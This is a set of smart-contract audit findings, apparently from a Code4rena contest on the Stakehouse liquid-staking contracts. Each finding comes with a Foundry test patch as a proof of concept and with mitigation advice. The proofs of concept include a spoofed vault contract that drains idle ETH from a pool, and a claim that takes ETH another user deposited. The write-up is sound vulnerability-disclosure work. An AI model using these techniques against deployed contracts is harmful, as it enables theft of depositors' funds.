+        giantFeesAndMevPool.previewAccumulatedETH(
+            feesAndMevUserOne,
+            new address[](0),
+            new LPToken[][](0));
+
+        console.log("the revert expected now");
+        GiantLP token = giantFeesAndMevPool.lpTokenETH();
+        vm.expectRevert();
+        token.transfer(feesAndMevUserTwo, 1 ether);
+        vm.stopPrank();
+
+        // Add 1 eth rewards to manager2's staking funds vault.
+        vm.deal(address(manager2.stakingFundsVault()), 2 ether);
+
+        // User 2 claims rewards into the giant pool and obtains its 1/2 share.
+        vm.startPrank(feesAndMevUserTwo);
+        giantFeesAndMevPool.claimRewards(
+            feesAndMevUserTwo,
+            getAddressArrayFromValues(address(manager2.stakingFundsVault())),
+            blsPubKeyTwoInput);
+        vm.stopPrank();
+        assertEq(feesAndMevUserTwo.balance, 1 ether);
+
+        // At this point, user 1 ought to have accumulated 1 ether from the rewards,
+        // however accumulated eth is listed as 0.
+        // The reason is that when the giant pool tokens were transferred to
+        // user two, the claimed[] value for user one was left unchanged.
+        assertEq(
+            giantFeesAndMevPool.previewAccumulatedETH(
+                feesAndMevUserOne,
+                new address[](0),
+                new LPToken[][](0)),
+                0);
+
+        // The pool has received 4 eth rewards and paid out 3, but no users
+        // are listed as having accumulated the eth. It is orphaned.
+        assertEq(giantFeesAndMevPool.totalRewardsReceived(), 4 ether);
+        assertEq(giantFeesAndMevPool.totalClaimed(), 3 ether);
+
+        assertEq(
+            giantFeesAndMevPool.previewAccumulatedETH(
+                feesAndMevUserTwo,
+                new address[](0),
+                new LPToken[][](0)),
+                0);
+
+    }
+
 }
\ No newline at end of file

Tools Used

Recommended Mitigation Steps

Reduce claimed[] when necessary on the from side when GiantMevAndFeesPool tokens are transferred. Alternatively, claimed[] could be calculated on a per share basis rather than a total basis in order to simplify some of the adjustments that must be made in the code for claimed[].

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantSavETHVaultPool.sol#L29-L60

Vulnerability details

Impact

GiantSavETHVaultPool's batchDepositETHForStaking() can be called by anyone. It accepts one or more purported SavETHVault instances, which are not validated just checked that self reported liquidStakingManager() is correct. After this cursory check batchDepositETHForStaking() transfers ETH up to idleETH to these apparent SavETHVault instances. The purported SavETHVault instances can in fact be any contract that implements minimal functionality (as in the POC below), and under anyone's control. Thus funds up to idleETH from GiantSavETHVaultPool can be taken by supplying a spoofed SavETHVault to batchDepositETHForStaking().

In addition, the GiantSavETHVaultPool function bringUnusedETHBackIntoGiantPool() is public and, if correctly implemented, can potentially bring more ETH into the GiantSavETHVaultPool, increasing idleETH and the amount to be taken using this exploit.

Proof of Concept

The following patch to GiantPools.t.sol includes a SpoofSavETHVault and demonstrates how it can be used to take ETH from the GiantSavETHVaultPool in test testIdleETHOfGiantSavETHVaultPoolCanBeStolenWithSpoofVault(). The test can be run with:

forge test -m testIdleETHOfGiantSavETHVaultPoolCanBeStolenWithSpoofVault

The patch:

diff --git a/test/foundry/GiantPools.t.sol b/test/foundry/GiantPools.t.sol
index 7e8bfdb..11ad861 100644
--- a/test/foundry/GiantPools.t.sol
+++ b/test/foundry/GiantPools.t.sol
@@ -13,6 +13,18 @@ import { MockSavETHVault } from "../../contracts/testing/liquid-staking/MockSavE
 import { MockGiantSavETHVaultPool } from "../../contracts/testing/liquid-staking/MockGiantSavETHVaultPool.sol";
 import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
 
+contract SpoofSavETHVault {
+    address public liquidStakingManager;
+
+    constructor(address _liquidStakingManager) {
+        liquidStakingManager = _liquidStakingManager;
+    }
+
+    function batchDepositETHForStaking(bytes[] calldata _blsPublicKeyOfKnots, uint256[] calldata _amounts) external payable {
+        // Just silently accept the ETH.
+    }
+}
+
 contract GiantPoolTests is TestUtils {
 
     MockGiantSavETHVaultPool public giantSavETHPool;
@@ -116,4 +128,34 @@ contract GiantPoolTests is TestUtils {
         assertEq(dETHToken.balanceOf(savETHUser), 24 ether);
     }
 
+    function testIdleETHOfGiantSavETHVaultPoolCanBeStolenWithSpoofVault() public {
+        // Set up users and ETH
+        address nodeRunner = accountOne; vm.deal(nodeRunner, 12 ether);
+        address feesAndMevUserOne = accountTwo; vm.deal(feesAndMevUserOne, 4 ether);
+        address savETHUser = accountThree; vm.deal(savETHUser, 24 ether);
+ 
+        // Deposit ETH into giant savETH
+        vm.prank(savETHUser);
+        giantSavETHPool.depositETH{value: 24 ether}(24 ether);
+        assertEq(giantSavETHPool.lpTokenETH().balanceOf(savETHUser), 24 ether);
+        assertEq(address(giantSavETHPool).balance, 24 ether);
+
+        // Set up maliciousUser and spoofVault.
+        address maliciousUser = 0x1916B4D3C84621e976d8185a91a922Ae77eCeC30;
+        vm.prank(maliciousUser);
+        address spoofVault = address(new SpoofSavETHVault(address(savETHVault.liquidStakingManager())));
+
+        // The maliciousUser, with no permissions in the giantSavETHPool, calls batchDepositETHForStaking()
+        // with a SpoofSavETHVault, which receives the ETH.
+        assertEq(spoofVault.balance, 0);
+        vm.prank(maliciousUser);
+        giantSavETHPool.batchDepositETHForStaking(
+            getAddressArrayFromValues(spoofVault),
+            getUint256ArrayFromValues(24 ether),
+            new bytes[][](1),
+            new uint256[][](1)
+        );
+        assertEq(spoofVault.balance, 24 ether);
+   }
+
 }
\ No newline at end of file

Tools Used

Recommended Mitigation Steps

Validate that any SavETHVault provided to batchDepositETHForStaking() is trusted. Potentially restrict caller access to batchDepositETHForStaking().

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/SyndicateRewardsProcessor.sol#L93-L95

Vulnerability details

Impact

StakingFundsVault uses SyndicateRewardsProcessor to determine the total amount of rewards received (using totalRewardsReceived() fuction). And totalRewardsReceived() assumes that the vault's entire balance represents reward that has been received (address(this).balance). If eth is deposited by one user into the vault using depositETHForStaking(), that eth is added to the vault's balance and totalRewardsReceived() considers it part of the reward pool. So long as the eth hasn't yet been withdrawn for staking, the eth can instead be withdrawn by a different user when they claim their rewards. In the POC below, one user deposits 4 eth for staking, and it gets withdrawn by another user before it can actually be used for staking.

Proof of Concept

Run test:

forge test -m testReceiveUnstakedETHAsRewards

Patch including test:

diff --git a/test/foundry/StakingFundsVault.t.sol b/test/foundry/StakingFundsVault.t.sol
index 53b4ce0..df7b921 100644
--- a/test/foundry/StakingFundsVault.t.sol
+++ b/test/foundry/StakingFundsVault.t.sol
@@ -321,6 +321,44 @@ contract StakingFundsVaultTest is TestUtils {
         assertEq(vault.claimed(accountThree, address(lpTokenBLSPubKeyFour)), 0);
     }
 
+    function testReceiveUnstakedETHAsRewards() public {
+        // register BLS key with the network
+        registerSingleBLSPubKey(accountTwo, blsPubKeyFour, accountFive);
+
+        // Do a deposit of 4 ETH for bls pub key four in the fees and mev pool
+        maxETHDeposit(accountTwo, getBytesArrayFromBytes(blsPubKeyFour));
+
+        // Do a deposit of 24 ETH for savETH pool
+        liquidStakingManager.savETHVault().depositETHForStaking{value: 24 ether}(blsPubKeyFour, 24 ether);
+
+        stakeAndMintDerivativesSingleKey(blsPubKeyFour);
+
+        LPToken lpTokenBLSPubKeyFour = vault.lpTokenForKnot(blsPubKeyFour);
+
+        vm.warp(block.timestamp + 3 hours);
+
+        // Deal ETH to the staking funds vault
+        uint256 rewardsAmount = 1.2 ether;
+        vm.deal(address(vault), rewardsAmount);
+        assertEq(address(vault).balance, rewardsAmount);
+        assertEq(vault.previewAccumulatedETH(accountTwo, lpTokenBLSPubKeyFour), rewardsAmount);
+
+        // Now accountOne deposits 4 eth for blsPubKeyOne.
+        maxETHDeposit(accountOne, getBytesArrayFromBytes(blsPubKeyOne));
+
+        // The 4 eth just added, and intended for staking, is included in previewed accumulated ETH
+        // for accountTwo's rewards.
+        assertEq(vault.previewAccumulatedETH(accountTwo, lpTokenBLSPubKeyFour), rewardsAmount + 4 ether);
+
+        // accountTwo withdraws the amount just deposited by accountOne.
+        vm.prank(accountTwo);
+        vault.claimRewards(accountTwo, getBytesArrayFromBytes(blsPubKeyFour));
+        assertEq(accountTwo.balance, rewardsAmount + 4 ether);
+
+        // the vault's balance has been withdrawn, without staking
+        assertEq(address(vault).balance, 0);
+    }
+
     function testReceiveETHAndDistributeToMultipleLPs() public {
         // register BLS key with the network
         registerSingleBLSPubKey(accountTwo, blsPubKeyFour, accountFive);

Tools Used

Recommended Mitigation Steps

Separate deposits from rewards in the accounting system of StakingFundsVault (including base class SyndicateRewardsProcessor).

1 Ensure GiantSavETHVaultPool bringUnusedETHBackIntoGiantPool() receives eth properly and adds to idleETH

GiantSavETHVaultPool bringUnusedETHBackIntoGiantPool() is going to burn lp tokens https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantSavETHVaultPool.sol#L155

which will attempt to send eth back to GiantSavETHVaultPool at https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/SavETHVault.sol#L189

If GiantSavETHVaultPool receives this ETH, it should update idleETH with this amount.

2 Ensure GiantMevAndFeesPool bringUnusedETHBackIntoGiantPool() receives eth properly and adds to idleETH

GiantMevAndFeesPool bringUnusedETHBackIntoGiantPool() is going to burn lp tokens https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantMevAndFeesPool.sol#L136

which will attempt to send eth back to GiantMevAndFeesPool at https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/StakingFundsVault.sol#L190

If GiantMevAndFeesPool receives this ETH, it should update idleETH with this amount and ensure the eth is treated as idleETH availabe for further investment rather than as rewards.

3 Consider calling updateAccumulatedETHPerLP() in GiantMevAndFeesPool _onWithdraw()

In GiantMevAndFeesPool _onWithdraw(), consider calling updateAccumulatedETHPerLP() before _distributeETHRewardsToUserForToken() so that the sender will be properly forwarded the rewards received as a result of the above calls to _lpTokens[i].transfer().

The updateAccumulatedETHPerLP() would go here: https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantMevAndFeesPool.sol#L186

It's possible that the caller of _onWithdraw(), withdrawLPTokens(), will later trigger updateAccumulatedETHPerLP() and another _distributeETHRewardsToUserForToken() when the giant tokens are burned: https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantPoolBase.sol#L83

And then beforeTokenTransfer() is called: https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantMevAndFeesPool.sol#L146

However I have not tested this out (in fact, there is a separate and more serious issue causing withdrawLPTokens() which I have documented in a separate issue).

In any case, since _onWitdraw() collects rewards from the lpTokens and then immediately attempts to distribute them using _distributeETHRewardsToUserForToken, it would seem to make sense to updateAccumulatedETHPerLP() first.

4 Avoid calling ITransactionRouter.authorizeRepresentative to enable a zero representative in LiquidStakingManager

There is potentially a sequence of actions in which smart wallet does not have a representative or dormant representative. Then mintDerivatives() may attempt to call _authorizeRepresentative() with the zero dormant representative https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/LiquidStakingManager.sol#L618

Within _authorizeRepresentative() there would then be a call out to ITransactionRouter.authorizeRepresentative with the zero _eoaRepresentative set to enabled.

I don't have access to the contract source of the transaction router, but setting a value in this manner could potentially result in an error.